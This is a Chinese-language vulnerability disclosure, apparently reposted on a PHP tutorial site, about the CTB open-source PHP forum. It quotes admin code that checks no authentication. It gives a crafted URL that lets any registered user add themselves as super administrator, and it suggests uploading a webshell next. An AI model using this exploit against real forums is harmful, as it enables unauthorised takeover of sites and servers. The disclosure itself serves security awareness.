input=$return;$ctb->sess=is..." />
 手机
当前位置:查字典教程网 >编程开发 >php教程 >漂亮但不安全的CTB
漂亮但不安全的CTB
摘要:>>>DedicatedThisScrapToCaoJingset=$set;$ctb->tplPath="./templates";$ct...

>>>DedicatedThisScrapToCaoJing<<<

涉及版本:

^^^^^^^

目前所有版本(现在1.3Alpha为最高版本)

描述:

^^^^^^

CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。

具体:

^^^^

CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧:

试看如下代码:

/admin/main.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//获取get变量

if(is_array($_GET)){

foreach($_GETas$k=>$v){

if(is_array($_GET[$k])){

foreach($_GET[$k]as$k2=>$v2){

$return[$k][$k2]=$v2;

}

}else{

$return[$k]=$v;

}

}

}

...

$mod=isset($_GET['mod'])?$_GET['mod']:$_POST['mod'];

if(!file_exists($mod.".php"{

$mod="mainright";

}

require_once($mod.".php";

//-----------------------------------------------------------------------------

//初始化类变量

$ctb=newModule;

$ctb->set=$set;

$ctb->tplPath="./templates";

$ctb->input=$return;

$ctb->sess=isset($_COOKIE["sess_adminname"])?$_COOKIE:$_SESSION;

$ctb->execute();

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

这里没有任何验证,我们看看添加管理员的文件:

/admin/systemuser.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

classModuleextendsCommonClass

//系统管理模块子类

{

functionexecute(){

switch($this->input['action']){

...

case'addSystemUser':

$this->addSystemUser();

break;

...

}

}

functionaddSystemUser()

{

//输入数据简单格式化

$this->inputCheck("main.php?mod=systemuser&action=showSystemUser";

//执行添加操作

$this->file="../".$this->set[dataPath]."/users/list.php";

$systemLine=$this->select(4,$this->input['systemUserName']);

....

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

依然没有验证,一路顺利啊!

利用方法:

^^^^^^^

先注册一个用户:

登陆ID:cat

用户名:dog

密码:ilikecat

重复密码:ilikecat

信箱:cat@dog.com

接着提交如下URL:

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆:

http://www.psych.com/ctb/admin/main.php?mod=login

管理名称:cat

管理密码:ilikecat

咦...还真成功了!

你现在是不是想更改后台上传文件类型,然后uploadwebshell?哼,被我猜到了吧...

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

【漂亮但不安全的CTB】相关文章:

文件上传的实现

PHP5的XML新特性

php准确获取文件MIME类型的方法

简单易用的计数器(数据库)

PHP传参之传值与传址的区别

理解 PHP 中的 Streams

PHP安全配置

用PHP 4.2书写安全的脚本

web方式ftp

php采集中国代理服务器网的方法

精品推荐
分类导航